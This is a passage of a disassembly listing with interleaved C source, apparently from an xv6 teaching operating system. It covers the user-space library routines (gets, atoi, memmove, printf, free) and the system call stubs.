*buf, int max) { 1164: 55 push %ebp 1165: 89 e5 mov %esp,%ebp 1167: 83 ec 18 sub $0x18,%esp int i, cc; char c; for(i=0; i+1 < max; ){ 116a: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) 1171: eb 42 jmp 11b5 <gets+0x51> cc = read(0, &c, 1); 1173: 83 ec 04 sub $0x4,%esp 1176: 6a 01 push $0x1 1178: 8d 45 ef lea -0x11(%ebp),%eax 117b: 50 push %eax 117c: 6a 00 push $0x0 117e: e8 d5 01 00 00 call 1358 <read> 1183: 83 c4 10 add $0x10,%esp 1186: 89 45 f0 mov %eax,-0x10(%ebp) if(cc < 1) 1189: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 118d: 7e 33 jle 11c2 <gets+0x5e> break; buf[i++] = c; 118f: 8b 45 f4 mov -0xc(%ebp),%eax 1192: 8d 50 01 lea 0x1(%eax),%edx 1195: 89 55 f4 mov %edx,-0xc(%ebp) 1198: 89 c2 mov %eax,%edx 119a: 8b 45 08 mov 0x8(%ebp),%eax 119d: 01 c2 add %eax,%edx 119f: 0f b6 45 ef movzbl -0x11(%ebp),%eax 11a3: 88 02 mov %al,(%edx) if(c == '\n' || c == '\r') 11a5: 0f b6 45 ef movzbl -0x11(%ebp),%eax 11a9: 3c 0a cmp $0xa,%al 11ab: 74 16 je 11c3 <gets+0x5f> 11ad: 0f b6 45 ef movzbl -0x11(%ebp),%eax 11b1: 3c 0d cmp $0xd,%al 11b3: 74 0e je 11c3 <gets+0x5f> gets(char *buf, int max) { int i, cc; char c; for(i=0; i+1 < max; ){ 11b5: 8b 45 f4 mov -0xc(%ebp),%eax 11b8: 83 c0 01 add $0x1,%eax 11bb: 3b 45 0c cmp 0xc(%ebp),%eax 11be: 7c b3 jl 1173 <gets+0xf> 11c0: eb 01 jmp 11c3 <gets+0x5f> cc = read(0, &c, 1); if(cc < 1) break; 11c2: 90 nop buf[i++] = c; if(c == '\n' || c == '\r') break; } buf[i] = '\0'; 11c3: 8b 55 f4 mov -0xc(%ebp),%edx 11c6: 8b 45 08 mov 0x8(%ebp),%eax 11c9: 01 d0 add %edx,%eax 11cb: c6 00 00 movb $0x0,(%eax) return buf; 11ce: 8b 45 08 mov 0x8(%ebp),%eax } 11d1: c9 leave 11d2: c3 ret 000011d3 <stat>: int stat(char *n, struct stat *st) { 11d3: 55 push %ebp 11d4: 89 e5 mov %esp,%ebp 11d6: 83 ec 18 sub $0x18,%esp int fd; int r; fd = open(n, O_RDONLY); 11d9: 83 ec 08 sub $0x8,%esp 11dc: 6a 00 push $0x0 11de: ff 75 08 pushl 0x8(%ebp) 11e1: e8 9a 01 00 00 call 1380 <open> 11e6: 83 c4 10 add $0x10,%esp 11e9: 89 45 f4 mov %eax,-0xc(%ebp) if(fd < 0) 11ec: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 11f0: 79 07 jns 11f9 <stat+0x26> return -1; 11f2: b8 ff ff ff ff mov $0xffffffff,%eax 11f7: eb 25 jmp 121e <stat+0x4b> r = fstat(fd, st); 11f9: 83 ec 08 sub $0x8,%esp 11fc: ff 75 0c pushl 0xc(%ebp) 11ff: ff 75 f4 pushl -0xc(%ebp) 1202: e8 91 01 00 00 call 1398 <fstat> 1207: 83 c4 10 add $0x10,%esp 120a: 89 45 f0 mov %eax,-0x10(%ebp) close(fd); 120d: 83 ec 0c sub $0xc,%esp 1210: ff 75 f4 pushl -0xc(%ebp) 1213: e8 50 01 00 00 call 1368 <close> 1218: 83 c4 10 add $0x10,%esp return r; 121b: 8b 45 f0 mov -0x10(%ebp),%eax } 121e: c9 leave 121f: c3 ret 00001220 <atoi>: int atoi(const char *s) { 1220: 55 push %ebp 1221: 89 e5 mov %esp,%ebp 1223: 83 ec 10 sub $0x10,%esp int n; n = 0; 1226: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while('0' <= *s && *s <= '9') 122d: eb 25 jmp 1254 <atoi+0x34> n = n*10 + *s++ - '0'; 122f: 8b 55 fc mov -0x4(%ebp),%edx 1232: 89 d0 mov %edx,%eax 1234: c1 e0 02 shl $0x2,%eax 1237: 01 d0 add %edx,%eax 1239: 01 c0 add %eax,%eax 123b: 89 c1 mov %eax,%ecx 123d: 8b 45 08 mov 0x8(%ebp),%eax 1240: 8d 50 01 lea 0x1(%eax),%edx 1243: 89 55 08 mov %edx,0x8(%ebp) 1246: 0f b6 00 movzbl (%eax),%eax 1249: 0f be c0 movsbl %al,%eax 124c: 01 c8 add %ecx,%eax 124e: 83 e8 30 sub $0x30,%eax 1251: 89 45 fc mov %eax,-0x4(%ebp) atoi(const char *s) { int n; n = 0; while('0' <= *s && *s <= '9') 1254: 8b 45 08 mov 0x8(%ebp),%eax 1257: 0f b6 00 movzbl (%eax),%eax 125a: 3c 2f cmp $0x2f,%al 125c: 7e 0a jle 1268 <atoi+0x48> 125e: 8b 45 08 mov 0x8(%ebp),%eax 1261: 0f b6 00 movzbl (%eax),%eax 1264: 3c 39 cmp $0x39,%al 1266: 7e c7 jle 122f <atoi+0xf> n = n*10 + *s++ - '0'; return n; 1268: 8b 45 fc mov -0x4(%ebp),%eax } 126b: c9 leave 126c: c3 ret 0000126d <atoo>: int atoo(const char *s) { 126d: 55 push %ebp 126e: 89 e5 mov %esp,%ebp 1270: 83 ec 10 sub $0x10,%esp int n, sign; n = 0; 1273: c7 45 fc 00 00 00 00 movl $0x0,-0x4(%ebp) while (*s == ' ') 127a: eb 04 jmp 1280 <atoo+0x13> s++; 127c: 83 45 08 01 addl $0x1,0x8(%ebp) int atoo(const char *s) { int n, sign; n = 0; while (*s == ' ') 1280: 8b 45 08 mov 0x8(%ebp),%eax 1283: 0f b6 00 movzbl (%eax),%eax 1286: 3c 20 cmp $0x20,%al 1288: 74 f2 je 127c <atoo+0xf> s++; sign = (*s == '-') ? -1 : 1; 128a: 8b 45 08 mov 0x8(%ebp),%eax 128d: 0f b6 00 movzbl (%eax),%eax 1290: 3c 2d cmp $0x2d,%al 1292: 75 07 jne 129b <atoo+0x2e> 1294: b8 ff ff ff ff mov $0xffffffff,%eax 1299: eb 05 jmp 12a0 <atoo+0x33> 129b: b8 01 00 00 00 mov $0x1,%eax 12a0: 89 45 f8 mov %eax,-0x8(%ebp) if (*s == '+' || *s == '-') 12a3: 8b 45 08 mov 0x8(%ebp),%eax 12a6: 0f b6 00 movzbl (%eax),%eax 12a9: 3c 2b cmp $0x2b,%al 12ab: 74 0a je 12b7 <atoo+0x4a> 12ad: 8b 45 08 mov 0x8(%ebp),%eax 12b0: 0f b6 00 movzbl (%eax),%eax 12b3: 3c 2d cmp $0x2d,%al 12b5: 75 27 jne 12de <atoo+0x71> s++; 12b7: 83 45 08 01 addl $0x1,0x8(%ebp) while ('0' <= *s && *s <= '7') 12bb: eb 21 jmp 12de <atoo+0x71> n = n*8 + *s++ - '0'; 12bd: 8b 45 fc mov -0x4(%ebp),%eax 12c0: 8d 0c c5 00 00 00 00 lea 0x0(,%eax,8),%ecx 12c7: 8b 45 08 mov 0x8(%ebp),%eax 12ca: 8d 50 01 lea 0x1(%eax),%edx 12cd: 89 55 08 mov %edx,0x8(%ebp) 12d0: 0f b6 00 movzbl (%eax),%eax 12d3: 0f be c0 movsbl %al,%eax 12d6: 01 c8 add %ecx,%eax 12d8: 83 e8 30 sub $0x30,%eax 12db: 89 45 fc mov %eax,-0x4(%ebp) while (*s == ' ') s++; sign = (*s == '-') ? -1 : 1; if (*s == '+' || *s == '-') s++; while ('0' <= *s && *s <= '7') 12de: 8b 45 08 mov 0x8(%ebp),%eax 12e1: 0f b6 00 movzbl (%eax),%eax 12e4: 3c 2f cmp $0x2f,%al 12e6: 7e 0a jle 12f2 <atoo+0x85> 12e8: 8b 45 08 mov 0x8(%ebp),%eax 12eb: 0f b6 00 movzbl (%eax),%eax 12ee: 3c 37 cmp $0x37,%al 12f0: 7e cb jle 12bd <atoo+0x50> n = n*8 + *s++ - '0'; return sign*n; 12f2: 8b 45 f8 mov -0x8(%ebp),%eax 12f5: 0f af 45 fc imul -0x4(%ebp),%eax } 12f9: c9 leave 12fa: c3 ret 000012fb <memmove>: void* memmove(void *vdst, void *vsrc, int n) { 12fb: 55 push %ebp 12fc: 89 e5 mov %esp,%ebp 12fe: 83 ec 10 sub $0x10,%esp char *dst, *src; dst = vdst; 1301: 8b 45 08 mov 0x8(%ebp),%eax 1304: 89 45 fc mov %eax,-0x4(%ebp) src = vsrc; 1307: 8b 45 0c mov 0xc(%ebp),%eax 130a: 89 45 f8 mov %eax,-0x8(%ebp) while(n-- > 0) 130d: eb 17 jmp 1326 <memmove+0x2b> *dst++ = *src++; 130f: 8b 45 fc mov -0x4(%ebp),%eax 1312: 8d 50 01 lea 0x1(%eax),%edx 1315: 89 55 fc mov %edx,-0x4(%ebp) 1318: 8b 55 f8 mov -0x8(%ebp),%edx 131b: 8d 4a 01 lea 0x1(%edx),%ecx 131e: 89 4d f8 mov %ecx,-0x8(%ebp) 1321: 0f b6 12 movzbl (%edx),%edx 1324: 88 10 mov %dl,(%eax) { char *dst, *src; dst = vdst; src = vsrc; while(n-- > 0) 1326: 8b 45 10 mov 0x10(%ebp),%eax 1329: 8d 50 ff lea -0x1(%eax),%edx 132c: 89 55 10 mov %edx,0x10(%ebp) 132f: 85 c0 test %eax,%eax 1331: 7f dc jg 130f <memmove+0x14> *dst++ = *src++; return vdst; 1333: 8b 45 08 mov 0x8(%ebp),%eax } 1336: c9 leave 1337: c3 ret 00001338 <fork>: name: \ movl $SYS_ ## name, %eax; \ int $T_SYSCALL; \ ret SYSCALL(fork) 1338: b8 01 00 00 00 mov $0x1,%eax 133d: cd 40 int $0x40 133f: c3 ret 00001340 <exit>: SYSCALL(exit) 1340: b8 02 00 00 00 mov $0x2,%eax 1345: cd 40 int $0x40 1347: c3 ret 00001348 <wait>: SYSCALL(wait) 1348: b8 03 00 00 00 mov $0x3,%eax 134d: cd 40 int $0x40 134f: c3 ret 00001350 <pipe>: SYSCALL(pipe) 1350: b8 04 00 00 00 mov $0x4,%eax 1355: cd 40 int $0x40 1357: c3 ret 00001358 <read>: SYSCALL(read) 1358: b8 05 00 00 00 mov $0x5,%eax 135d: cd 40 int $0x40 135f: c3 ret 00001360 <write>: SYSCALL(write) 1360: b8 10 00 00 00 mov $0x10,%eax 1365: cd 40 int $0x40 1367: c3 ret 00001368 <close>: SYSCALL(close) 1368: b8 15 00 00 00 mov $0x15,%eax 136d: cd 40 int $0x40 136f: c3 ret 00001370 <kill>: SYSCALL(kill) 1370: b8 06 00 00 00 mov $0x6,%eax 1375: cd 40 int $0x40 1377: c3 ret 00001378 <exec>: SYSCALL(exec) 1378: b8 07 00 00 00 mov $0x7,%eax 137d: cd 40 int $0x40 137f: c3 ret 00001380 <open>: SYSCALL(open) 1380: b8 0f 00 00 00 mov $0xf,%eax 1385: cd 40 int $0x40 1387: c3 ret 00001388 <mknod>: SYSCALL(mknod) 1388: b8 11 00 00 00 mov $0x11,%eax 138d: cd 40 int $0x40 138f: c3 ret 00001390 <unlink>: SYSCALL(unlink) 1390: b8 12 00 00 00 mov $0x12,%eax 1395: cd 40 int $0x40 1397: c3 ret 00001398 <fstat>: SYSCALL(fstat) 1398: b8 08 00 00 00 mov $0x8,%eax 139d: cd 40 int $0x40 139f: c3 ret 000013a0 <link>: SYSCALL(link) 13a0: b8 13 00 00 00 mov $0x13,%eax 13a5: cd 40 int $0x40 13a7: c3 ret 000013a8 <mkdir>: SYSCALL(mkdir) 13a8: b8 14 00 00 00 mov $0x14,%eax 13ad: cd 40 int $0x40 13af: c3 ret 000013b0 <chdir>: SYSCALL(chdir) 13b0: b8 09 00 00 00 mov $0x9,%eax 13b5: cd 40 int $0x40 13b7: c3 ret 000013b8 <dup>: SYSCALL(dup) 13b8: b8 0a 00 00 00 mov $0xa,%eax 13bd: cd 40 int $0x40 13bf: c3 ret 000013c0 <getpid>: SYSCALL(getpid) 13c0: b8 0b 00 00 00 mov $0xb,%eax 13c5: cd 40 int $0x40 13c7: c3 ret 000013c8 <sbrk>: SYSCALL(sbrk) 13c8: b8 0c 00 00 00 mov $0xc,%eax 13cd: cd 40 int $0x40 13cf: c3 ret 000013d0 <sleep>: SYSCALL(sleep) 13d0: b8 0d 00 00 00 mov $0xd,%eax 13d5: cd 40 int $0x40 13d7: c3 ret 000013d8 <uptime>: SYSCALL(uptime) 13d8: b8 0e 00 00 00 mov $0xe,%eax 13dd: cd 40 int $0x40 13df: c3 ret 000013e0 <halt>: SYSCALL(halt) 13e0: b8 16 00 00 00 mov $0x16,%eax 13e5: cd 40 int $0x40 13e7: c3 ret 000013e8 <date>: SYSCALL(date) 13e8: b8 17 00 00 00 mov $0x17,%eax 13ed: cd 40 int $0x40 13ef: c3 ret 000013f0 <getuid>: SYSCALL(getuid) 13f0: b8 18 00 00 00 mov $0x18,%eax 13f5: cd 40 int $0x40 13f7: c3 ret 000013f8 <getgid>: SYSCALL(getgid) 13f8: b8 19 00 00 00 mov $0x19,%eax 13fd: cd 40 int $0x40 13ff: c3 ret 00001400 <getppid>: SYSCALL(getppid) 1400: b8 1a 00 00 00 mov $0x1a,%eax 1405: cd 40 int $0x40 1407: c3 ret 00001408 <setuid>: SYSCALL(setuid) 1408: b8 1b 00 00 00 mov $0x1b,%eax 140d: cd 40 int $0x40 140f: c3 ret 00001410 <setgid>: SYSCALL(setgid) 1410: b8 1c 00 00 00 mov $0x1c,%eax 1415: cd 40 int $0x40 1417: c3 ret 00001418 <getprocs>: SYSCALL(getprocs) 1418: b8 1d 00 00 00 mov $0x1d,%eax 141d: cd 40 int $0x40 141f: c3 ret 00001420 <setpriority>: SYSCALL(setpriority) 1420: b8 1e 00 00 00 mov $0x1e,%eax 1425: cd 40 int $0x40 1427: c3 ret 00001428 <chmod>: SYSCALL(chmod) 1428: b8 1f 00 00 00 mov $0x1f,%eax 142d: cd 40 int $0x40 142f: c3 ret 00001430 <chown>: SYSCALL(chown) 1430: b8 20 00 00 00 mov $0x20,%eax 1435: cd 40 int $0x40 1437: c3 ret 00001438 <chgrp>: SYSCALL(chgrp) 1438: b8 21 00 00 00 mov $0x21,%eax 143d: cd 40 int $0x40 143f: c3 ret 00001440 <putc>: #include "stat.h" #include "user.h" static void putc(int fd, char c) { 1440: 55 push %ebp 1441: 89 e5 mov %esp,%ebp 1443: 83 ec 18 sub $0x18,%esp 1446: 8b 45 0c mov 0xc(%ebp),%eax 1449: 88 45 f4 mov %al,-0xc(%ebp) write(fd, &c, 1); 144c: 83 ec 04 sub $0x4,%esp 144f: 6a 01 push $0x1 1451: 8d 45 f4 lea -0xc(%ebp),%eax 1454: 50 push %eax 1455: ff 75 08 pushl 0x8(%ebp) 1458: e8 03 ff ff ff call 1360 <write> 145d: 83 c4 10 add $0x10,%esp } 1460: 90 nop 1461: c9 leave 1462: c3 ret 00001463 <printint>: static void printint(int fd, int xx, int base, int sgn) { 1463: 55 push %ebp 1464: 89 e5 mov %esp,%ebp 1466: 53 push %ebx 1467: 83 ec 24 sub $0x24,%esp static char digits[] = "0123456789ABCDEF"; char buf[16]; int i, neg; uint x; neg = 0; 146a: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) if(sgn && xx < 0){ 1471: 83 7d 14 00 cmpl $0x0,0x14(%ebp) 1475: 74 17 je 148e <printint+0x2b> 1477: 83 7d 0c 00 cmpl $0x0,0xc(%ebp) 147b: 79 11 jns 148e <printint+0x2b> neg = 1; 147d: c7 45 f0 01 00 00 00 movl $0x1,-0x10(%ebp) x = -xx; 1484: 8b 45 0c mov 0xc(%ebp),%eax 1487: f7 d8 neg %eax 1489: 89 45 ec mov %eax,-0x14(%ebp) 148c: eb 06 jmp 1494 <printint+0x31> } else { x = xx; 148e: 8b 45 0c mov 0xc(%ebp),%eax 1491: 89 45 ec mov %eax,-0x14(%ebp) } i = 0; 1494: c7 45 f4 00 00 00 00 movl $0x0,-0xc(%ebp) do{ buf[i++] = digits[x % base]; 149b: 8b 4d f4 mov -0xc(%ebp),%ecx 149e: 8d 41 01 lea 0x1(%ecx),%eax 14a1: 89 45 f4 mov %eax,-0xc(%ebp) 14a4: 8b 5d 10 mov 0x10(%ebp),%ebx 14a7: 8b 45 ec mov -0x14(%ebp),%eax 14aa: ba 00 00 00 00 mov $0x0,%edx 14af: f7 f3 div %ebx 14b1: 89 d0 mov %edx,%eax 14b3: 0f b6 80 84 1f 00 00 movzbl 0x1f84(%eax),%eax 14ba: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1) }while((x /= base) != 0); 14be: 8b 5d 10 mov 0x10(%ebp),%ebx 14c1: 8b 45 ec mov -0x14(%ebp),%eax 14c4: ba 00 00 00 00 mov $0x0,%edx 14c9: f7 f3 div %ebx 14cb: 89 45 ec mov %eax,-0x14(%ebp) 14ce: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 14d2: 75 c7 jne 149b <printint+0x38> if(neg) 14d4: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 14d8: 74 2d je 1507 <printint+0xa4> buf[i++] = '-'; 14da: 8b 45 f4 mov -0xc(%ebp),%eax 14dd: 8d 50 01 lea 0x1(%eax),%edx 14e0: 89 55 f4 mov %edx,-0xc(%ebp) 14e3: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1) while(--i >= 0) 14e8: eb 1d jmp 1507 <printint+0xa4> putc(fd, buf[i]); 14ea: 8d 55 dc lea -0x24(%ebp),%edx 14ed: 8b 45 f4 mov -0xc(%ebp),%eax 14f0: 01 d0 add %edx,%eax 14f2: 0f b6 00 movzbl (%eax),%eax 14f5: 0f be c0 movsbl %al,%eax 14f8: 83 ec 08 sub $0x8,%esp 14fb: 50 push %eax 14fc: ff 75 08 pushl 0x8(%ebp) 14ff: e8 3c ff ff ff call 1440 <putc> 1504: 83 c4 10 add $0x10,%esp buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 1507: 83 6d f4 01 subl $0x1,-0xc(%ebp) 150b: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 150f: 79 d9 jns 14ea <printint+0x87> putc(fd, buf[i]); } 1511: 90 nop 1512: 8b 5d fc mov -0x4(%ebp),%ebx 1515: c9 leave 1516: c3 ret 00001517 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 1517: 55 push %ebp 1518: 89 e5 mov %esp,%ebp 151a: 83 ec 28 sub $0x28,%esp char *s; int c, i, state; uint *ap; state = 0; 151d: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) ap = (uint*)(void*)&fmt + 1; 1524: 8d 45 0c lea 0xc(%ebp),%eax 1527: 83 c0 04 add $0x4,%eax 152a: 89 45 e8 mov %eax,-0x18(%ebp) for(i = 0; fmt[i]; i++){ 152d: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 1534: e9 59 01 00 00 jmp 1692 <printf+0x17b> c = fmt[i] & 0xff; 1539: 8b 55 0c mov 0xc(%ebp),%edx 153c: 8b 45 f0 mov -0x10(%ebp),%eax 153f: 01 d0 add %edx,%eax 1541: 0f b6 00 movzbl (%eax),%eax 1544: 0f be c0 movsbl %al,%eax 1547: 25 ff 00 00 00 and $0xff,%eax 154c: 89 45 e4 mov %eax,-0x1c(%ebp) if(state == 0){ 154f: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 1553: 75 2c jne 1581 <printf+0x6a> if(c == '%'){ 1555: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 1559: 75 0c jne 1567 <printf+0x50> state = '%'; 155b: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp) 1562: e9 27 01 00 00 jmp 168e <printf+0x177> } else { putc(fd, c); 1567: 8b 45 e4 mov -0x1c(%ebp),%eax 156a: 0f be c0 movsbl %al,%eax 156d: 83 ec 08 sub $0x8,%esp 1570: 50 push %eax 1571: ff 75 08 pushl 0x8(%ebp) 1574: e8 c7 fe ff ff call 1440 <putc> 1579: 83 c4 10 add $0x10,%esp 157c: e9 0d 01 00 00 jmp 168e <printf+0x177> } } else if(state == '%'){ 1581: 83 7d ec 25 cmpl $0x25,-0x14(%ebp) 1585: 0f 85 03 01 00 00 jne 168e <printf+0x177> if(c == 'd'){ 158b: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp) 158f: 75 1e jne 15af <printf+0x98> printint(fd, *ap, 10, 1); 1591: 8b 45 e8 mov -0x18(%ebp),%eax 1594: 8b 00 mov (%eax),%eax 1596: 6a 01 push $0x1 1598: 6a 0a push $0xa 159a: 50 push %eax 159b: ff 75 08 pushl 0x8(%ebp) 159e: e8 c0 fe ff ff call 1463 <printint> 15a3: 83 c4 10 add $0x10,%esp ap++; 15a6: 83 45 e8 04 addl $0x4,-0x18(%ebp) 15aa: e9 d8 00 00 00 jmp 1687 <printf+0x170> } else if(c == 'x' || c == 'p'){ 15af: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp) 15b3: 74 06 je 15bb <printf+0xa4> 15b5: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp) 15b9: 75 1e jne 15d9 <printf+0xc2> printint(fd, *ap, 16, 0); 15bb: 8b 45 e8 mov -0x18(%ebp),%eax 15be: 8b 00 mov (%eax),%eax 15c0: 6a 00 push $0x0 15c2: 6a 10 push $0x10 15c4: 50 push %eax 15c5: ff 75 08 pushl 0x8(%ebp) 15c8: e8 96 fe ff ff call 1463 <printint> 15cd: 83 c4 10 add $0x10,%esp ap++; 15d0: 83 45 e8 04 addl $0x4,-0x18(%ebp) 15d4: e9 ae 00 00 00 jmp 1687 <printf+0x170> } else if(c == 's'){ 15d9: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp) 15dd: 75 43 jne 1622 <printf+0x10b> s = (char*)*ap; 15df: 8b 45 e8 mov -0x18(%ebp),%eax 15e2: 8b 00 mov (%eax),%eax 15e4: 89 45 f4 mov %eax,-0xc(%ebp) ap++; 15e7: 83 45 e8 04 addl $0x4,-0x18(%ebp) if(s == 0) 15eb: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 15ef: 75 25 jne 1616 <printf+0xff> s = "(null)"; 15f1: c7 45 f4 14 1a 00 00 movl $0x1a14,-0xc(%ebp) while(*s != 0){ 15f8: eb 1c jmp 1616 <printf+0xff> putc(fd, *s); 15fa: 8b 45 f4 mov -0xc(%ebp),%eax 15fd: 0f b6 00 movzbl (%eax),%eax 1600: 0f be c0 movsbl %al,%eax 1603: 83 ec 08 sub $0x8,%esp 1606: 50 push %eax 1607: ff 75 08 pushl 0x8(%ebp) 160a: e8 31 fe ff ff call 1440 <putc> 160f: 83 c4 10 add $0x10,%esp s++; 1612: 83 45 f4 01 addl $0x1,-0xc(%ebp) } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 1616: 8b 45 f4 mov -0xc(%ebp),%eax 1619: 0f b6 00 movzbl (%eax),%eax 161c: 84 c0 test %al,%al 161e: 75 da jne 15fa <printf+0xe3> 1620: eb 65 jmp 1687 <printf+0x170> putc(fd, *s); s++; } } else if(c == 'c'){ 1622: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp) 1626: 75 1d jne 1645 <printf+0x12e> putc(fd, *ap); 1628: 8b 45 e8 mov -0x18(%ebp),%eax 162b: 8b 00 mov (%eax),%eax 162d: 0f be c0 movsbl %al,%eax 1630: 83 ec 08 sub $0x8,%esp 1633: 50 push %eax 1634: ff 75 08 pushl 0x8(%ebp) 1637: e8 04 fe ff ff call 1440 <putc> 163c: 83 c4 10 add $0x10,%esp ap++; 163f: 83 45 e8 04 addl $0x4,-0x18(%ebp) 1643: eb 42 jmp 1687 <printf+0x170> } else if(c == '%'){ 1645: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 1649: 75 17 jne 1662 <printf+0x14b> putc(fd, c); 164b: 8b 45 e4 mov -0x1c(%ebp),%eax 164e: 0f be c0 movsbl %al,%eax 1651: 83 ec 08 sub $0x8,%esp 1654: 50 push %eax 1655: ff 75 08 pushl 0x8(%ebp) 1658: e8 e3 fd ff ff call 1440 <putc> 165d: 83 c4 10 add $0x10,%esp 1660: eb 25 jmp 1687 <printf+0x170> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 1662: 83 ec 08 sub $0x8,%esp 1665: 6a 25 push $0x25 1667: ff 75 08 pushl 0x8(%ebp) 166a: e8 d1 fd ff ff call 1440 <putc> 166f: 83 c4 10 add $0x10,%esp putc(fd, c); 1672: 8b 45 e4 mov -0x1c(%ebp),%eax 1675: 0f be c0 movsbl %al,%eax 1678: 83 ec 08 sub $0x8,%esp 167b: 50 push %eax 167c: ff 75 08 pushl 0x8(%ebp) 167f: e8 bc fd ff ff call 1440 <putc> 1684: 83 c4 10 add $0x10,%esp } state = 0; 1687: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 168e: 83 45 f0 01 addl $0x1,-0x10(%ebp) 1692: 8b 55 0c mov 0xc(%ebp),%edx 1695: 8b 45 f0 mov -0x10(%ebp),%eax 1698: 01 d0 add %edx,%eax 169a: 0f b6 00 movzbl (%eax),%eax 169d: 84 c0 test %al,%al 169f: 0f 85 94 fe ff ff jne 1539 <printf+0x22> putc(fd, c); } state = 0; } } } 16a5: 90 nop 16a6: c9 leave 16a7: c3 ret 000016a8 <free>: static Header base; static Header *freep; void free(void *ap) { 16a8: 55 push %ebp 16a9: 89 e5 mov %esp,%ebp 16ab: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 16ae: 8b 45 08 mov 0x8(%ebp),%eax 16b1: 83 e8 08 sub $0x8,%eax 16b4: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 16b7: a1 0c 20 00 00 mov 0x200c,%eax 16bc: 89 45 fc mov %eax,-0x4(%ebp) 16bf: eb 24 jmp 16e5 <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 16c1: 8b 45 fc mov -0x4(%ebp),%eax 16c4: 8b 00 mov (%eax),%eax 16c6: 3b 45 fc cmp -0x4(%ebp),%eax 16c9: 77 12 ja 16dd <free+0x35> 16cb: 8b 45 f8 mov -0x8(%ebp),%eax 16ce: 3b 45 fc cmp -0x4(%ebp),%eax 16d1: 77 24 ja 16f7 <free+0x4f> 16d3: 8b 45 fc mov -0x4(%ebp),%eax 16d6: 8b 00 mov (%eax),%eax 16d8: 3b 45 f8 cmp -0x8(%ebp),%eax 16db: 77 1a ja 16f7 <free+0x4f> free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 16dd: 8b 45 fc mov -0x4(%ebp),%eax 16e0: 8b 00 mov (%eax),%eax 16e2: 89 45 fc mov %eax,-0x4(%ebp) 16e5: 8b 45 f8 mov -0x8(%ebp),%eax 16e8: 3b 45 fc cmp -0x4(%ebp),%eax 16eb: 76 d4 jbe 16c1 <free+0x19> 16ed: 8b 45 fc mov -0x4(%ebp),%eax 16f0: 8b 00 mov (%eax),%eax 16f2: 3b 45 f8 cmp -0x8(%ebp),%eax 16f5: 76 ca jbe 16c1 <free+0x19> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 16f7: 8b 45 f8 mov -0x8(%ebp),%eax 16fa: 8b 40 04 mov 0x4(%eax),%eax 16fd: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 1704: 8b 45 f8 mov -0x8(%ebp),%eax 1707: 01 c2 add %eax,%edx 1709: 8b 45 fc mov -0x4(%ebp),%eax 170c: 8b 00 mov (%eax),%eax 170e: 39 c2 cmp %eax,%edx 1710: 75 24 jne 1736 <free+0x8e> bp->s.size += p->s.ptr->s.size; 1712: 8b 45 f8 mov -0x8(%ebp),%eax 1715: 8b 50 04 mov 0x4(%eax),%edx 1718: 8b 45 fc mov -0x4(%ebp),%eax 171b: 8b 00 mov (%eax),%eax 171d: 8b 40 04 mov 0x4(%eax),%eax 1720: 01 c2 add %eax,%edx 1722: 8b 45 f8 mov -0x8(%ebp),%eax 1725: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 1728: 8b 45 fc mov -0x4(%ebp),%eax 172b: 8b 00 mov (%eax),%eax 172d: 8b 10 mov (%eax),%edx 172f: 8b 45 f8 mov -0x8(%ebp),%eax 1732: 89 10 mov %edx,(%eax) 1734: eb 0a jmp 1740 <free+0x98> } else bp->s.ptr = p->s.ptr; 1736: 8b 45 fc mov -0x4(%ebp),%eax 1739: 8b 10 mov (%eax),%edx 173b: 8b 45 f8 mov -0x8(%ebp),%eax 173e: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 1740: 8b 45 fc mov -0x4(%ebp),%eax 1743: 8b 40 04 mov 0x4(%eax),%eax 1746: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 174d: 8b 45 fc mov -0x4(%ebp),%eax 1750: 01 d0 add %edx,%eax 1752: 3b 45 f8 cmp -0x8(%ebp),%eax 1755: 75 20 jne 1777 <free+0xcf> p->s.size += bp->s.size; 1757: 8b 45 fc mov -0x4(%ebp),%eax 175a: 8b 50 04 mov 0x4(%eax),%edx 175d: 8b 45 f8 mov -0x8(%ebp),%eax 1760: 8b 40 04 mov 0x4(%eax),%eax 1763: 01 c2 add %eax,%edx 1765: 8b 45 fc mov -0x4(%ebp),%eax 1768: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = 